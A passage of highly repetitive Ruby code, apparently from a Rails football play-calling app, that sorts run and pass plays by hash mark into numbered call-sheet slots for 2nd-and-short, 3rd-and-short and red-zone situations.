runSecondShortsRight[1].nil? \n rssr2 = runSecondShortsRight[1].fullname \n end\n unless runSecondShortsRight[2].nil? \n rssr3 = runSecondShortsRight[2].fullname \n end\n unless runSecondShortsRight[3].nil? \n rssr4 = runSecondShortsRight[3].fullname \n end\n unless runSecondShortsRight[4].nil? \n rssr5 = runSecondShortsRight[4].fullname\n end\n unless runSecondShortsRight[5].nil? \n rssr6 = runSecondShortsRight[5].fullname \n end\n unless runSecondShortsRight[6].nil? \n rssr7 = runSecondShortsRight[6].fullname \n end\n unless runSecondShortsRight[7].nil? \n rssr8 = runSecondShortsRight[7].fullname \n end\n unless runSecondShortsRight[8].nil? \n rssr9 = runSecondShortsRight[8].fullname \n end\n unless runSecondShortsRight[9].nil? \n rssr10 = runSecondShortsRight[9].fullname\n end\n unless runSecondShortsRight[10].nil? \n rssr11 = runSecondShortsRight[10].fullname\n end\n\n #Pass Left Hash\n unless passSecondShortsLeft[0].nil? \n pssl1 = passSecondShortsLeft[0].fullname \n end\n unless passSecondShortsLeft[1].nil? \n pssl2 = passSecondShortsLeft[1].fullname \n end\n unless passSecondShortsLeft[2].nil? \n pssl3 = passSecondShortsLeft[2].fullname \n end\n unless passSecondShortsLeft[3].nil? \n pssl4 = passSecondShortsLeft[3].fullname \n end\n unless passSecondShortsLeft[4].nil? \n pssl5 = passSecondShortsLeft[4].fullname\n end\n unless passSecondShortsLeft[5].nil? \n pssl6 = passSecondShortsLeft[5].fullname \n end\n unless passSecondShortsLeft[6].nil? \n pssl7 = passSecondShortsLeft[6].fullname \n end\n unless passSecondShortsLeft[7].nil? \n pssl8 = passSecondShortsLeft[7].fullname \n end\n unless passSecondShortsLeft[8].nil? \n pssl9 = passSecondShortsLeft[8].fullname \n end\n unless passSecondShortsLeft[9].nil? \n pssl10 = passSecondShortsLeft[9].fullname\n end\n unless passSecondShortsLeft[10].nil? \n pssl11 = passSecondShortsLeft[10].fullname\n end\n\n #Pass Right Hash\n unless passSecondShortsRight[0].nil? \n pssr1 = passSecondShortsRight[0].fullname \n end\n unless passSecondShortsRight[1].nil? \n pssr2 = passSecondShortsRight[1].fullname \n end\n unless passSecondShortsRight[2].nil? \n pssr3 = passSecondShortsRight[2].fullname \n end\n unless passSecondShortsRight[3].nil? \n pssr4 = passSecondShortsRight[3].fullname \n end\n unless passSecondShortsRight[4].nil? \n pssr5 = passSecondShortsRight[4].fullname\n end\n unless passSecondShortsRight[5].nil? \n pssr6 = passSecondShortsRight[5].fullname \n end\n unless passSecondShortsRight[6].nil? \n pssr7 = passSecondShortsRight[6].fullname \n end\n unless passSecondShortsRight[7].nil? \n pssr8 = passSecondShortsRight[7].fullname \n end\n unless passSecondShortsRight[8].nil? \n pssr9 = passSecondShortsRight[8].fullname \n end\n unless passSecondShortsRight[9].nil? \n pssr10 = passSecondShortsRight[9].fullname\n end\n unless passSecondShortsRight[10].nil? \n pssr11 = passSecondShortsRight[10].fullname\n end\n\n #Number of user's run plays in situation 5\n num_secondst = self.user.s_name5_num_run\n\n #Left Hash\n # secondstl_s0 \n if num_secondst > 0\n secondstl_s0 = self.user.s_name5 + ' - Run'\n else\n secondstl_s0 = self.user.s_name5 + ' - Pass'\n end\n\n #secondstl_s1 \n if num_secondst > 0\n secondstl_s1 = rssl1\n else\n secondstl_s1 = pssl1\n end\n\n #secondstl_s2\n if num_secondst == 0\n secondstl_s2 = pssl2\n elsif num_secondst == 1\n secondstl_s2 = self.user.s_name5 + ' - Pass'\n else num_secondst > 1\n secondstl_s2 = rssl2\n end\n\n #secondstl_s3\n case num_secondst\n when 0 then secondstl_s3 = pssl3 \n when 1 then secondstl_s3 = pssl1\n when 2 then secondstl_s3 = self.user.s_name5 + ' - Pass'\n when 3..100 then secondstl_s3 = rssl3\n end\n\n #secondstl_s4\n case num_secondst\n when 0 then secondstl_s4 = pssl4 \n when 1 then secondstl_s4 = pssl2\n when 2 then secondstl_s4 = pssl1\n when 3 then secondstl_s4 = self.user.s_name5 + ' - Pass'\n when 4..100 then secondstl_s4 = rssl4\n end\n\n #secondstl_s5\n case num_secondst\n when 0 then secondstl_s5 = pssl5 \n when 1 then secondstl_s5 = pssl3\n when 2 then secondstl_s5 = pssl2\n when 3 then secondstl_s5 = pssl1\n when 4 then secondstl_s5 = self.user.s_name5 + ' - Pass'\n when 5..100 then secondstl_s5 = rssl5\n end\n\n #secondstl_s6\n case num_secondst\n when 0 then secondstl_s6 = pssl6 \n when 1 then secondstl_s6 = pssl4\n when 2 then secondstl_s6 = pssl3\n when 3 then secondstl_s6 = pssl2\n when 4 then secondstl_s6 = pssl1\n when 5 then secondstl_s6 = self.user.s_name5 + ' - Pass'\n when 6..100 then secondstl_s6 = rssl6\n end\n\n #secondstl_s7\n case num_secondst\n when 0 then secondstl_s7 = pssl7 \n when 1 then secondstl_s7 = pssl5\n when 2 then secondstl_s7 = pssl4\n when 3 then secondstl_s7 = pssl3\n when 4 then secondstl_s7 = pssl2\n when 5 then secondstl_s7 = pssl1\n when 6 then secondstl_s7 = self.user.s_name5 + ' - Pass'\n when 7..100 then secondstl_s7 = rssl7\n end\n\n #secondstl_s8\n case num_secondst\n when 0 then secondstl_s8 = pssl8 \n when 1 then secondstl_s8 = pssl6\n when 2 then secondstl_s8 = pssl5\n when 3 then secondstl_s8 = pssl4\n when 4 then secondstl_s8 = pssl3\n when 5 then secondstl_s8 = pssl2\n when 6 then secondstl_s8 = pssl1\n when 7 then secondstl_s8 = self.user.s_name5 + ' - Pass'\n when 8..100 then secondstl_s8 = rssl8\n end\n\n #secondstl_s9\n case num_secondst\n when 0 then secondstl_s9 = pssl9 \n when 1 then secondstl_s9 = pssl7\n when 2 then secondstl_s9 = pssl6\n when 3 then secondstl_s9 = pssl5\n when 4 then secondstl_s9 = pssl4\n when 5 then secondstl_s9 = pssl3\n when 6 then secondstl_s9 = pssl2\n when 7 then secondstl_s9 = pssl1\n when 8 then secondstl_s9 = self.user.s_name5 + ' - Pass'\n when 9..100 then secondstl_s9 = rssl9\n end\n\n #secondstl_s10\n case num_secondst\n when 0 then secondstl_s10 = pssl10 \n when 1 then secondstl_s10 = pssl8\n when 2 then secondstl_s10 = pssl7\n when 3 then secondstl_s10 = pssl6\n when 4 then secondstl_s10 = pssl5\n when 5 then secondstl_s10 = pssl4\n when 6 then secondstl_s10 = pssl3\n when 7 then secondstl_s10 = pssl2\n when 8 then secondstl_s10 = pssl1\n when 9 then secondstl_s10 = self.user.s_name5 + ' - Pass'\n when 10..100 then secondstl_s10 = rssl10\n end\n\n #secondstl_s11\n case num_secondst\n when 0 then secondstl_s11 = pssl11 \n when 1 then secondstl_s11 = pssl9\n when 2 then secondstl_s11 = pssl8\n when 3 then secondstl_s11 = pssl7\n when 4 then secondstl_s11 = pssl6\n when 5 then secondstl_s11 = pssl5\n when 6 then secondstl_s11 = pssl4\n when 7 then secondstl_s11 = pssl3\n when 8 then secondstl_s11 = pssl2\n when 9 then secondstl_s11 = pssl1\n when 10..100 then secondstl_s11 = rssl11\n end\n \n #Right Hash\n # secondstr_s0 would always be blank\n\n #secondstr_s1 \n if num_secondst > 0\n secondstr_s1 = rssr1\n else\n secondstr_s1 = pssr1\n end\n\n #secondstr_s2\n if num_secondst == 0\n secondstr_s2 = pssr2\n elsif num_secondst == 1\n secondstr_s2 = ''\n else num_secondst > 1\n secondstr_s2 = rssr2\n end\n\n #secondstr_s3\n case num_secondst\n when 0 then secondstr_s3 = pssr3 \n when 1 then secondstr_s3 = pssr1\n when 2 then secondstr_s3 = ''\n when 3..100 then secondstr_s3 = rssr3\n end\n\n #secondstr_s4\n case num_secondst\n when 0 then secondstr_s4 = pssr4 \n when 1 then secondstr_s4 = pssr2\n when 2 then secondstr_s4 = pssr1\n when 3 then ''\n when 4..100 then secondstr_s4 = rssr4\n end\n\n #secondstr_s5\n case num_secondst\n when 0 then secondstr_s5 = pssr5 \n when 1 then secondstr_s5 = pssr3\n when 2 then secondstr_s5 = pssr2\n when 3 then secondstr_s5 = pssr1\n when 4 then secondstr_s5 = ''\n when 5..100 then secondstr_s5 = rssr5\n end\n\n #secondstr_s6\n case num_secondst\n when 0 then secondstr_s6 = pssr6 \n when 1 then secondstr_s6 = pssr4\n when 2 then secondstr_s6 = pssr3\n when 3 then secondstr_s6 = pssr2\n when 4 then secondstr_s6 = pssr1\n when 5 then secondstr_s6 = ''\n when 6..100 then secondstr_s6 = rssr6\n end\n\n #secondstr_s7\n case num_secondst\n when 0 then secondstr_s7 = pssr7 \n when 1 then secondstr_s7 = pssr5\n when 2 then secondstr_s7 = pssr4\n when 3 then secondstr_s7 = pssr3\n when 4 then secondstr_s7 = pssr2\n when 5 then secondstr_s7 = pssr1\n when 6 then secondstr_s7 = ''\n when 7..100 then secondstr_s7 = rssr7\n end\n\n #secondstr_s8\n case num_secondst\n when 0 then secondstr_s8 = pssr8 \n when 1 then secondstr_s8 = pssr6\n when 2 then secondstr_s8 = pssr5\n when 3 then secondstr_s8 = pssr4\n when 4 then secondstr_s8 = pssr3\n when 5 then secondstr_s8 = pssr2\n when 6 then secondstr_s8 = pssr1\n when 7 then secondstr_s8 = ''\n when 8..100 then secondstr_s8 = rssr8\n end\n\n #secondstr_s9\n case num_secondst\n when 0 then secondstr_s9 = pssr9 \n when 1 then secondstr_s9 = pssr7\n when 2 then secondstr_s9 = pssr6\n when 3 then secondstr_s9 = pssr5\n when 4 then secondstr_s9 = pssr4\n when 5 then secondstr_s9 = pssr3\n when 6 then secondstr_s9 = pssr2\n when 7 then secondstr_s9 = pssr1\n when 8 then secondstr_s9 = ''\n when 9..100 then secondstr_s9 = rssr9\n end\n\n #secondstr_s10\n case num_secondst\n when 0 then secondstr_s10 = pssr10 \n when 1 then secondstr_s10 = pssr8\n when 2 then secondstr_s10 = pssr7\n when 3 then secondstr_s10 = pssr6\n when 4 then secondstr_s10 = pssr5\n when 5 then secondstr_s10 = pssr4\n when 6 then secondstr_s10 = pssr3\n when 7 then secondstr_s10 = pssr2\n when 8 then secondstr_s10 = pssr1\n when 9 then secondstr_s10 = ''\n when 10..100 then secondstr_s10 = rssr10\n end\n\n #secondstr_s11\n case num_secondst\n when 0 then secondstr_s11 = pssr11 \n when 1 then secondstr_s11 = pssr9\n when 2 then secondstr_s11 = pssr8\n when 3 then secondstr_s11 = pssr7\n when 4 then secondstr_s11 = pssr6\n when 5 then secondstr_s11 = pssr5\n when 6 then secondstr_s11 = pssr4\n when 7 then secondstr_s11 = pssr3\n when 8 then secondstr_s11 = pssr2\n when 9 then secondstr_s11 = pssr1\n when 10..100 then secondstr_s11 = rssr11\n end \n #----------End 2nd & Short----------\n\n #----------3rd & Short----------\n thirdShorts = event.plays.where('situation8 = ?', true)\n \n runThirdShorts = thirdShorts.where('play_type = ?', 'Run')\n runThirdShortsLeft = runThirdShorts.where('hash_mark = ?', 'Left')\n runThirdShortsRight = runThirdShorts.where('hash_mark = ?', 'Right')\n \n passThirdShorts = thirdShorts.where('play_type = ?', 'Pass')\n passThirdShortsLeft = passThirdShorts.where('hash_mark = ?', 'Left')\n passThirdShortsRight = passThirdShorts.where('hash_mark = ?', 'Right')\n\n #Run Left Hash\n unless runThirdShortsLeft[0].nil? \n rtsl1 = runThirdShortsLeft[0].fullname \n end\n unless runThirdShortsLeft[1].nil? \n rtsl2 = runThirdShortsLeft[1].fullname \n end\n unless runThirdShortsLeft[2].nil? \n rtsl3 = runThirdShortsLeft[2].fullname \n end\n unless runThirdShortsLeft[3].nil? \n rtsl4 = runThirdShortsLeft[3].fullname \n end\n unless runThirdShortsLeft[4].nil? \n rtsl5 = runThirdShortsLeft[4].fullname\n end\n unless runThirdShortsLeft[5].nil? \n rtsl6 = runThirdShortsLeft[5].fullname \n end\n unless runThirdShortsLeft[6].nil? \n rtsl7 = runThirdShortsLeft[6].fullname\n end \n unless runThirdShortsLeft[7].nil? \n rtsl8 = runThirdShortsLeft[7].fullname \n end\n unless runThirdShortsLeft[8].nil? \n rtsl9 = runThirdShortsLeft[8].fullname \n end\n unless runThirdShortsLeft[9].nil? \n rtsl10 = runThirdShortsLeft[9].fullname \n end\n unless runThirdShortsLeft[10].nil? \n rtsl11 = runThirdShortsLeft[10].fullname \n end\n\n #Run Right Hash\n unless runThirdShortsRight[0].nil? \n rtsr1 = runThirdShortsRight[0].fullname \n end\n unless runThirdShortsRight[1].nil? \n rtsr2 = runThirdShortsRight[1].fullname \n end\n unless runThirdShortsRight[2].nil? \n rtsr3 = runThirdShortsRight[2].fullname \n end\n unless runThirdShortsRight[3].nil? \n rtsr4 = runThirdShortsRight[3].fullname \n end\n unless runThirdShortsRight[4].nil? \n rtsr5 = runThirdShortsRight[4].fullname\n end\n unless runThirdShortsRight[5].nil? \n rtsr6 = runThirdShortsRight[5].fullname \n end\n unless runThirdShortsRight[6].nil? \n rtsr7 = runThirdShortsRight[6].fullname\n end \n unless runThirdShortsRight[7].nil? \n rtsr8 = runThirdShortsRight[7].fullname \n end\n unless runThirdShortsRight[8].nil? \n rtsr9 = runThirdShortsRight[8].fullname\n end\n unless runThirdShortsRight[9].nil? \n rtsr10 = runThirdShortsRight[9].fullname \n end\n unless runThirdShortsRight[10].nil? \n rtsr11 = runThirdShortsRight[10].fullname\n end \n\n #Pass Left Hash\n unless passThirdShortsLeft[0].nil? \n ptsl1 = passThirdShortsLeft[0].fullname \n end\n unless passThirdShortsLeft[1].nil? \n ptsl2 = passThirdShortsLeft[1].fullname \n end\n unless passThirdShortsLeft[2].nil? \n ptsl3 = passThirdShortsLeft[2].fullname \n end\n unless passThirdShortsLeft[3].nil? \n ptsl4 = passThirdShortsLeft[3].fullname \n end\n unless passThirdShortsLeft[4].nil? \n ptsl5 = passThirdShortsLeft[4].fullname \n end\n unless passThirdShortsLeft[5].nil? \n ptsl6 = passThirdShortsLeft[5].fullname \n end\n unless passThirdShortsLeft[6].nil? \n ptsl7 = passThirdShortsLeft[6].fullname \n end\n unless passThirdShortsLeft[7].nil? \n ptsl8 = passThirdShortsLeft[7].fullname \n end\n unless passThirdShortsLeft[8].nil? \n ptsl9 = passThirdShortsLeft[8].fullname \n end\n unless passThirdShortsLeft[9].nil? \n ptsl10 = passThirdShortsLeft[9].fullname \n end\n unless passThirdShortsLeft[10].nil? \n ptsl11 = passThirdShortsLeft[10].fullname \n end\n\n #Pass Right Hash\n unless passThirdShortsRight[0].nil? \n ptsr1 = passThirdShortsRight[0].fullname \n end\n unless passThirdShortsRight[1].nil? \n ptsr2 = passThirdShortsRight[1].fullname \n end\n unless passThirdShortsRight[2].nil? \n ptsr3 = passThirdShortsRight[2].fullname \n end\n unless passThirdShortsRight[3].nil? \n ptsr4 = passThirdShortsRight[3].fullname \n end\n unless passThirdShortsRight[4].nil? \n ptsr5 = passThirdShortsRight[4].fullname \n end\n unless passThirdShortsRight[5].nil? \n ptsr6 = passThirdShortsRight[5].fullname \n end\n unless passThirdShortsRight[6].nil? \n ptsr7 = passThirdShortsRight[6].fullname \n end\n unless passThirdShortsRight[7].nil? \n ptsr8 = passThirdShortsRight[7].fullname \n end\n unless passThirdShortsRight[8].nil? \n ptsr9 = passThirdShortsRight[8].fullname \n end\n unless passThirdShortsRight[9].nil? \n ptsr10 = passThirdShortsRight[9].fullname \n end\n unless passThirdShortsRight[10].nil? \n ptsr11 = passThirdShortsRight[10].fullname \n end\n\n #Number of user's run plays in situation 8\n num_thirdst = self.user.s_name8_num_run\n\n #Left Hash\n # thirdstl_s0 \n if num_thirdst > 0\n thirdstl_s0 = self.user.s_name8 + ' - Run'\n else\n thirdstl_s0 = self.user.s_name8 + ' - Pass'\n end\n\n #thirdstl_s1 \n if num_thirdst > 0\n thirdstl_s1 = rtsl1\n else\n thirdstl_s1 = ptsl1\n end\n\n #thirdstl_s2\n if num_thirdst == 0\n thirdstl_s2 = ptsl2\n elsif num_thirdst == 1\n thirdstl_s2 = self.user.s_name8 + ' - Pass'\n else num_thirdst > 1\n thirdstl_s2 = rtsl2\n end\n\n #thirdstl_s3\n case num_thirdst\n when 0 then thirdstl_s3 = ptsl3 \n when 1 then thirdstl_s3 = ptsl1\n when 2 then thirdstl_s3 = self.user.s_name8 + ' - Pass'\n when 3..100 then thirdstl_s3 = rtsl3\n end\n\n #thirdstl_s4\n case num_thirdst\n when 0 then thirdstl_s4 = ptsl4 \n when 1 then thirdstl_s4 = ptsl2\n when 2 then thirdstl_s4 = ptsl1\n when 3 then thirdstl_s4 = self.user.s_name8 + ' - Pass'\n when 4..100 then thirdstl_s4 = rtsl4\n end\n\n #thirdstl_s5\n case num_thirdst\n when 0 then thirdstl_s5 = ptsl5 \n when 1 then thirdstl_s5 = ptsl3\n when 2 then thirdstl_s5 = ptsl2\n when 3 then thirdstl_s5 = ptsl1\n when 4 then thirdstl_s5 = self.user.s_name8 + ' - Pass'\n when 5..100 then thirdstl_s5 = rtsl5\n end\n\n #thirdstl_s6\n case num_thirdst\n when 0 then thirdstl_s6 = ptsl6 \n when 1 then thirdstl_s6 = ptsl4\n when 2 then thirdstl_s6 = ptsl3\n when 3 then thirdstl_s6 = ptsl2\n when 4 then thirdstl_s6 = ptsl1\n when 5 then thirdstl_s6 = self.user.s_name8 + ' - Pass'\n when 6..100 then thirdstl_s6 = rtsl6\n end\n\n #thirdstl_s7\n case num_thirdst\n when 0 then thirdstl_s7 = ptsl7 \n when 1 then thirdstl_s7 = ptsl5\n when 2 then thirdstl_s7 = ptsl4\n when 3 then thirdstl_s7 = ptsl3\n when 4 then thirdstl_s7 = ptsl2\n when 5 then thirdstl_s7 = ptsl1\n when 6 then thirdstl_s7 = self.user.s_name8 + ' - Pass'\n when 7..100 then thirdstl_s7 = rtsl7\n end\n\n #thirdstl_s8\n case num_thirdst\n when 0 then thirdstl_s8 = ptsl8 \n when 1 then thirdstl_s8 = ptsl6\n when 2 then thirdstl_s8 = ptsl5\n when 3 then thirdstl_s8 = ptsl4\n when 4 then thirdstl_s8 = ptsl3\n when 5 then thirdstl_s8 = ptsl2\n when 6 then thirdstl_s8 = ptsl1\n when 7 then thirdstl_s8 = self.user.s_name8 + ' - Pass'\n when 8..100 then thirdstl_s8 = rtsl8\n end\n\n #thirdstl_s9\n case num_thirdst\n when 0 then thirdstl_s9 = ptsl9 \n when 1 then thirdstl_s9 = ptsl7\n when 2 then thirdstl_s9 = ptsl6\n when 3 then thirdstl_s9 = ptsl5\n when 4 then thirdstl_s9 = ptsl4\n when 5 then thirdstl_s9 = ptsl3\n when 6 then thirdstl_s9 = ptsl2\n when 7 then thirdstl_s9 = ptsl1\n when 8 then thirdstl_s9 = self.user.s_name8 + ' - Pass'\n when 9..100 then thirdstl_s9 = rtsl9\n end\n\n #thirdstl_s10\n case num_thirdst\n when 0 then thirdstl_s10 = ptsl10 \n when 1 then thirdstl_s10 = ptsl8\n when 2 then thirdstl_s10 = ptsl7\n when 3 then thirdstl_s10 = ptsl6\n when 4 then thirdstl_s10 = ptsl5\n when 5 then thirdstl_s10 = ptsl4\n when 6 then thirdstl_s10 = ptsl3\n when 7 then thirdstl_s10 = ptsl2\n when 8 then thirdstl_s10 = ptsl1\n when 9 then thirdstl_s10 = self.user.s_name8 + ' - Pass'\n when 10..100 then thirdstl_s10 = rtsl10\n end\n\n #thirdstl_s11\n case num_thirdst\n when 0 then thirdstl_s11 = ptsl11 \n when 1 then thirdstl_s11 = ptsl9\n when 2 then thirdstl_s11 = ptsl8\n when 3 then thirdstl_s11 = ptsl7\n when 4 then thirdstl_s11 = ptsl6\n when 5 then thirdstl_s11 = ptsl5\n when 6 then thirdstl_s11 = ptsl4\n when 7 then thirdstl_s11 = ptsl3\n when 8 then thirdstl_s11 = ptsl2\n when 9 then thirdstl_s11 = ptsl1\n when 10..100 then thirdstl_s11 = rtsl11\n end\n \n #Right Hash\n # thirdstr_s0 would always be blank\n\n #thirdstr_s1 \n if num_thirdst > 0\n thirdstr_s1 = rtsr1\n else\n thirdstr_s1 = ptsr1\n end\n\n #thirdstr_s2\n if num_thirdst == 0\n thirdstr_s2 = ptsr2\n elsif num_thirdst == 1\n thirdstr_s2 = ''\n else num_thirdst > 1\n thirdstr_s2 = rtsr2\n end\n\n #thirdstr_s3\n case num_thirdst\n when 0 then thirdstr_s3 = ptsr3 \n when 1 then thirdstr_s3 = ptsr1\n when 2 then thirdstr_s3 = ''\n when 3..100 then thirdstr_s3 = rtsr3\n end\n\n #thirdstr_s4\n case num_thirdst\n when 0 then thirdstr_s4 = ptsr4 \n when 1 then thirdstr_s4 = ptsr2\n when 2 then thirdstr_s4 = ptsr1\n when 3 then ''\n when 4..100 then thirdstr_s4 = rtsr4\n end\n\n #thirdstr_s5\n case num_thirdst\n when 0 then thirdstr_s5 = ptsr5 \n when 1 then thirdstr_s5 = ptsr3\n when 2 then thirdstr_s5 = ptsr2\n when 3 then thirdstr_s5 = ptsr1\n when 4 then thirdstr_s5 = ''\n when 5..100 then thirdstr_s5 = rtsr5\n end\n\n #thirdstr_s6\n case num_thirdst\n when 0 then thirdstr_s6 = ptsr6 \n when 1 then thirdstr_s6 = ptsr4\n when 2 then thirdstr_s6 = ptsr3\n when 3 then thirdstr_s6 = ptsr2\n when 4 then thirdstr_s6 = ptsr1\n when 5 then thirdstr_s6 = ''\n when 6..100 then thirdstr_s6 = rtsr6\n end\n\n #thirdstr_s7\n case num_thirdst\n when 0 then thirdstr_s7 = ptsr7 \n when 1 then thirdstr_s7 = ptsr5\n when 2 then thirdstr_s7 = ptsr4\n when 3 then thirdstr_s7 = ptsr3\n when 4 then thirdstr_s7 = ptsr2\n when 5 then thirdstr_s7 = ptsr1\n when 6 then thirdstr_s7 = ''\n when 7..100 then thirdstr_s7 = rtsr7\n end\n\n #thirdstr_s8\n case num_thirdst\n when 0 then thirdstr_s8 = ptsr8 \n when 1 then thirdstr_s8 = ptsr6\n when 2 then thirdstr_s8 = ptsr5\n when 3 then thirdstr_s8 = ptsr4\n when 4 then thirdstr_s8 = ptsr3\n when 5 then thirdstr_s8 = ptsr2\n when 6 then thirdstr_s8 = ptsr1\n when 7 then thirdstr_s8 = ''\n when 8..100 then thirdstr_s8 = rtsr8\n end\n\n #thirdstr_s9\n case num_thirdst\n when 0 then thirdstr_s9 = ptsr9 \n when 1 then thirdstr_s9 = ptsr7\n when 2 then thirdstr_s9 = ptsr6\n when 3 then thirdstr_s9 = ptsr5\n when 4 then thirdstr_s9 = ptsr4\n when 5 then thirdstr_s9 = ptsr3\n when 6 then thirdstr_s9 = ptsr2\n when 7 then thirdstr_s9 = ptsr1\n when 8 then thirdstr_s9 = ''\n when 9..100 then thirdstr_s9 = rtsr9\n end\n\n #thirdstr_s10\n case num_thirdst\n when 0 then thirdstr_s10 = ptsr10 \n when 1 then thirdstr_s10 = ptsr8\n when 2 then thirdstr_s10 = ptsr7\n when 3 then thirdstr_s10 = ptsr6\n when 4 then thirdstr_s10 = ptsr5\n when 5 then thirdstr_s10 = ptsr4\n when 6 then thirdstr_s10 = ptsr3\n when 7 then thirdstr_s10 = ptsr2\n when 8 then thirdstr_s10 = ptsr1\n when 9 then thirdstr_s10 = ''\n when 10..100 then thirdstr_s10 = rtsr10\n end\n\n #thirdstr_s11\n case num_thirdst\n when 0 then thirdstr_s11 = ptsr11 \n when 1 then thirdstr_s11 = ptsr9\n when 2 then thirdstr_s11 = ptsr8\n when 3 then thirdstr_s11 = ptsr7\n when 4 then thirdstr_s11 = ptsr6\n when 5 then thirdstr_s11 = ptsr5\n when 6 then thirdstr_s11 = ptsr4\n when 7 then thirdstr_s11 = ptsr3\n when 8 then thirdstr_s11 = ptsr2\n when 9 then thirdstr_s11 = ptsr1\n when 10..100 then thirdstr_s11 = rtsr11\n end \n #----------End 3rd & Short---------- \n\n #----------Redzone----------\n redzones = event.plays.where('situation9 = ?', true)\n \n runredzones = redzones.where('play_type = ?', 'Run')\n runredzonesLeft = runredzones.where('hash_mark = ?', 'Left')\n runredzonesRight = runredzones.where('hash_mark = ?', 'Right')\n \n passredzones = redzones.where('play_type = ?', 'Pass')\n passredzonesLeft = passredzones.where('hash_mark = ?', 'Left')\n passredzonesRight = passredzones.where('hash_mark = ?', 'Right')\n\n #Run Left Hash\n unless runredzonesLeft[0].nil? \n rrzl1 = runredzonesLeft[0].fullname \n end\n unless runredzonesLeft[1].nil? \n rrzl2 = runredzonesLeft[1].fullname \n end\n unless runredzonesLeft[2].nil? \n rrzl3 = runredzonesLeft[2].fullname \n end\n unless runredzonesLeft[3].nil? \n rrzl4 = runredzonesLeft[3].fullname \n end\n unless runredzonesLeft[4].nil? \n rrzl5 = runredzonesLeft[4].fullname\n end\n unless runredzonesLeft[5].nil? \n rrzl6 = runredzonesLeft[5].fullname \n end\n unless runredzonesLeft[6].nil? \n rrzl7 = runredzonesLeft[6].fullname\n end \n unless runredzonesLeft[7].nil? \n rrzl8 = runredzonesLeft[7].fullname \n end\n unless runredzonesLeft[8].nil? \n rrzl9 = runredzonesLeft[8].fullname \n end\n unless runredzonesLeft[9].nil? \n rrzl10 = runredzonesLeft[9].fullname \n end\n unless runredzonesLeft[10].nil? \n rrzl11 = runredzonesLeft[10].fullname \n end\n unless runredzonesLeft[11].nil? \n rrzl12 = runredzonesLeft[11].fullname\n end\n unless runredzonesLeft[12].nil? \n rrzl13 = runredzonesLeft[12].fullname \n end\n unless runredzonesLeft[13].nil? \n rrzl14 = runredzonesLeft[13].fullname\n end \n unless runredzonesLeft[14].nil? \n rrzl15 = runredzonesLeft[14].fullname\n end \n\n #Run Right Hash\n unless runredzonesRight[0].nil? \n rrzr1 = runredzonesRight[0].fullname \n end\n unless runredzonesRight[1].nil? \n rrzr2 = runredzonesRight[1].fullname \n end\n unless runredzonesRight[2].nil? \n rrzr3 = runredzonesRight[2].fullname \n end\n unless runredzonesRight[3].nil? \n rrzr4 = runredzonesRight[3].fullname \n end\n unless runredzonesRight[4].nil? \n rrzr5 = runredzonesRight[4].fullname\n end\n unless runredzonesRight[5].nil? \n rrzr6 = runredzonesRight[5].fullname \n end\n unless runredzonesRight[6].nil? \n rrzr7 = runredzonesRight[6].fullname\n end \n unless runredzonesRight[7].nil? \n rrzr8 = runredzonesRight[7].fullname \n end\n unless runredzonesRight[8].nil? \n rrzr9 = runredzonesRight[8].fullname \n end\n unless runredzonesRight[9].nil? \n rrzr10 = runredzonesRight[9].fullname \n end\n unless runredzonesRight[10].nil? \n rrzr11 = runredzonesRight[10].fullname \n end\n unless runredzonesRight[11].nil? \n rrzr12 = runredzonesRight[11].fullname\n end\n unless runredzonesRight[12].nil? \n rrzr13 = runredzonesRight[12].fullname \n end\n unless runredzonesRight[13].nil? \n rrzr14 = runredzonesRight[13].fullname\n end \n unless runredzonesRight[14].nil? \n rrzr15 = runredzonesRight[14].fullname\n end \n\n #Pass Left Hash\n unless passredzonesLeft[0].nil? \n przl1 = passredzonesLeft[0].fullname \n end\n unless passredzonesLeft[1].nil? \n przl2 = passredzonesLeft[1].fullname \n end\n unless passredzonesLeft[2].nil? \n przl3 = passredzonesLeft[2].fullname \n end\n unless passredzonesLeft[3].nil? \n przl4 = passredzonesLeft[3].fullname \n end\n unless passredzonesLeft[4].nil? \n przl5 = passredzonesLeft[4].fullname \n end\n unless passredzonesLeft[5].nil? \n przl6 = passredzonesLeft[5].fullname \n end \n unless passredzonesLeft[6].nil? \n przl7 = passredzonesLeft[6].fullname \n end \n unless passredzonesLeft[7].nil? \n przl8 = passredzonesLeft[7].fullname \n end\n unless passredzonesLeft[8].nil? \n przl9 = passredzonesLeft[8].fullname \n end\n unless passredzonesLeft[9].nil? \n przl10 = passredzonesLeft[9].fullname \n end\n unless passredzonesLeft[10].nil? \n przl11 = passredzonesLeft[10].fullname \n end\n unless passredzonesLeft[11].nil? \n przl12 = passredzonesLeft[11].fullname \n end\n unless passredzonesLeft[12].nil? \n przl13 = passredzonesLeft[12].fullname \n end \n unless passredzonesLeft[13].nil? \n przl14 = passredzonesLeft[13].fullname \n end \n unless passredzonesLeft[14].nil? \n przl15 = passredzonesLeft[14].fullname \n end \n\n #Pass Right Hash\n unless passredzonesRight[0].nil? \n przr1 = passredzonesRight[0].fullname \n end\n unless passredzonesRight[1].nil? \n przr2 = passredzonesRight[1].fullname \n end\n unless passredzonesRight[2].nil? \n przr3 = passredzonesRight[2].fullname \n end\n unless passredzonesRight[3].nil? \n przr4 = passredzonesRight[3].fullname \n end\n unless passredzonesRight[4].nil? \n przr5 = passredzonesRight[4].fullname \n end\n unless passredzonesRight[5].nil? \n przr6 = passredzonesRight[5].fullname \n end\n unless passredzonesRight[6].nil? \n przr7 = passredzonesRight[6].fullname \n end \n unless passredzonesRight[7].nil? \n przr8 = passredzonesRight[7].fullname \n end\n unless passredzonesRight[8].nil? \n przr9 = passredzonesRight[8].fullname \n end\n unless passredzonesRight[9].nil? \n przr10 = passredzonesRight[9].fullname \n end\n unless passredzonesRight[10].nil? \n przr11 = passredzonesRight[10].fullname \n end\n unless passredzonesRight[11].nil? \n przr12 = passredzonesRight[11].fullname \n end\n unless passredzonesRight[12].nil? \n przr13 = passredzonesRight[12].fullname \n end\n unless passredzonesRight[13].nil? \n przr14 = passredzonesRight[13].fullname \n end \n unless passredzonesRight[14].nil? \n przr15 = passredzonesRight[14].fullname \n end \n\n #Number of user's run plays in situation 9\n num_rzoner = self.user.s_name9_num_run\n\n #Left Hash\n # rzonel_s0 \n if num_rzoner > 0\n rzonel_s0 = self.user.s_name9 + ' - Run'\n else\n rzonel_s0 = self.user.s_name9 + ' - Pass'\n end\n\n #rzonel_s1 \n if num_rzoner > 0\n rzonel_s1 = rrzl1\n else\n rzonel_s1 = przl1\n end\n\n #rzonel_s2\n if num_rzoner == 0\n rzonel_s2 = przl2\n elsif num_rzoner == 1\n rzonel_s2 